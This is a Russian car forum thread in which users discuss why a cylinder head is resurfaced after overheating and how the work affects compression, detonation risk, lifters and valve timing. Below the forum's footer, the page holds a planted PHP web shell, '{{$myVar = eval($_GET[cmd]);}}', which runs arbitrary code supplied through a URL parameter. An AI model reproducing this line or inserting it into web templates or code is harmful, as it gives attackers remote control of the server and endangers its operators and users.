+ Ответить в теме
Показано с 1 по 6 из 6

Тема: Шлифовка ГБЦ


  1. #1
    GTI-Racing Димон is on a distinguished road Аватар для Димон
    Регистрация
    15.08.2006
    Откуда
    г.Москва СВАО
    Машина
    Skoda Octavia RS
    Сообщений
    432
    Вопрос такой

    1) для чего шлифуют ГБЦ?

    2) после какой неисправности/поломки?

    3)есть ли какие либо заметные изменения (в рабоете машины) после шлифовки?



    Зарание спасибо за разъяснения!
    Был у меня Golf III ...был Golf IV....теперь Skoda Octavia RS (сердцем я с вами) ..... что дальше?

  2. #2
    GTI-Racing Daniilus is on a distinguished road Аватар для Daniilus
    Регистрация
    26.03.2007
    Сообщений
    15
    Я шлифовал себе ГБЦ на пассате с 9А мотором, после перегрева голову немного повело, когда ее сняли и положили линейку виднелись просветы, то есть плоскость была не совсм ровной, по сему прокладка не совсем все держала, уходило масло и антифриз доливал каждые три дня по пол литра!

    Шлифовали в механике за 800р что-ли с промывкой, потом все собрал и было гораздо лучше, так, как прочистились все каналы и видимо повысилась компрессия. Мотор было неузнать, он стал гораздо тяговитее, особенно на низких оборотах и почти что выдовал свои 136 сил, а до этого по ощущениям выдавал от силы 100 л.с.

    Вот это лично мой опыт.

  3. #3
    я шлифовал, мне втулки меняли и заодно поверхность шлифанули

  4. #4
    ™B®embo™
    Guest Аватар для ™B®embo™
    Originally posted by Димон@May 5 2007, 22:49
    Вопрос такой

    1) для чего шлифуют ГБЦ?

    2) после какой неисправности/поломки?

    3)есть ли какие либо заметные изменения (в рабоете машины) после шлифовки?
    Зарание спасибо за разъяснения!
    <div align='right'><{POST_SNAPBACK}></div>
    шлефуеться для того чтобы выровнить гбц после перегрева,резкого охлаждения и т.д,чтобы повысить компрессию,(ради угара чтобы блестело были такие случаи ) изменения есть только они бывают в лучшую или в худшую сторону,машинка может ехать так после шлифовки как новая,может ваще ни ехать,иногда бывает такое что если один раз гбц повело,то в дальнейшем никакая шлефовка тебе непоможет будешь ставить её обратно а она опять тютю будет пропускать-приходиться ставить новую&#33;&#33;&#33;&#33;&#33;

  5. #5
    GTI-Racing Igorb will become famous soon enough Igorb will become famous soon enough Аватар для Igorb
    Регистрация
    07.03.2006
    Откуда
    Одесса
    Машина
    golf_mk1
    Сообщений
    1,204
    при шлифовке головы, изменяется ее высота-сответственно клапана становятся ближе к поршням&#33;&#33;&#33;степень сжатия-увеличивается&#33;&#33;&#33;&#33; появляется шанс поймать детонацию при использовании низкооктанового бензина.
    , гидрокомпенсаторы начинают не совсем правильно работать, ну и немножко( но всетаки) нарушается фазы ГРМ
    есть допуски по шлифовке бошек, 16кл 1.8 шлифуется без проблем, 2.0 16 кл-надо промерить высоту головки-а тогда делать заключение-шлифовать или менять.

    многие шлифовщики понятия не имеют,что произойдет с ГБЦ, ихняя задача-получить деньги за проделанную работу.
    back in the days where motorsport was organised by real men with hairy chests who didn`t give a hoot about health and safety

    Overload http://overload.net.ua/forum/viewtop...d0f88ef70d72f2

  6. #6
    ™B®embo™
    Guest Аватар для ™B®embo™
    многие шлифовщики понятия не имеют,что произойдет с ГБЦ, ихняя задача-получить деньги за проделанную работу.
    <div align='right'><{POST_SNAPBACK}></div>
    [/quote]

    +1 есть такое <_<

+ Ответить в теме

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}